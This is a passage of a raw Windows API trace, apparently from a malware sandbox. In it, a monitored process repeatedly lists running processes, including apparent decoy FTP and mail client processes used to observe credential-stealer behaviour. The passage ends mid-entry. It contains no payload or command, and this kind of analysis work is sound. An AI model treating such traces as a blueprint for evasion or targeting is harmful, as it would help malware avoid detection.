1 [0261.864] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0261.866] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0261.868] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0261.870] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0261.872] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0261.874] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0261.876] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.878] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0261.880] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0261.882] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0261.884] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0261.885] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0261.887] CloseHandle (hObject=0x2200) returned 1 [0261.888] Sleep (dwMilliseconds=0x64) [0261.890] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0261.903] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.905] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.906] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.908] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.910] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.912] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.913] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.916] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.918] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.919] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.921] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.923] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.926] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.928] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.931] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.933] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.936] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.939] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.941] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.943] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.946] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0261.949] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.951] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.954] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0261.956] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0261.961] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0262.015] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0262.017] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0262.020] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0262.076] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0262.080] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.082] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.084] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0262.088] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.090] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.093] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0262.096] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0262.099] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0262.101] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0262.112] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0262.114] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0262.116] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0262.123] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0262.126] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0262.129] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0262.131] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0262.134] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0262.136] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0262.139] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0262.142] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0262.144] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0262.147] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0262.149] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0262.152] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0262.155] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0262.157] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0262.159] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0262.162] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0262.165] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0262.168] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0262.171] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0262.174] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0262.178] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0262.181] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0262.184] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0262.187] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0262.221] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0262.225] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0262.228] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0262.232] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0262.236] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0262.239] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: 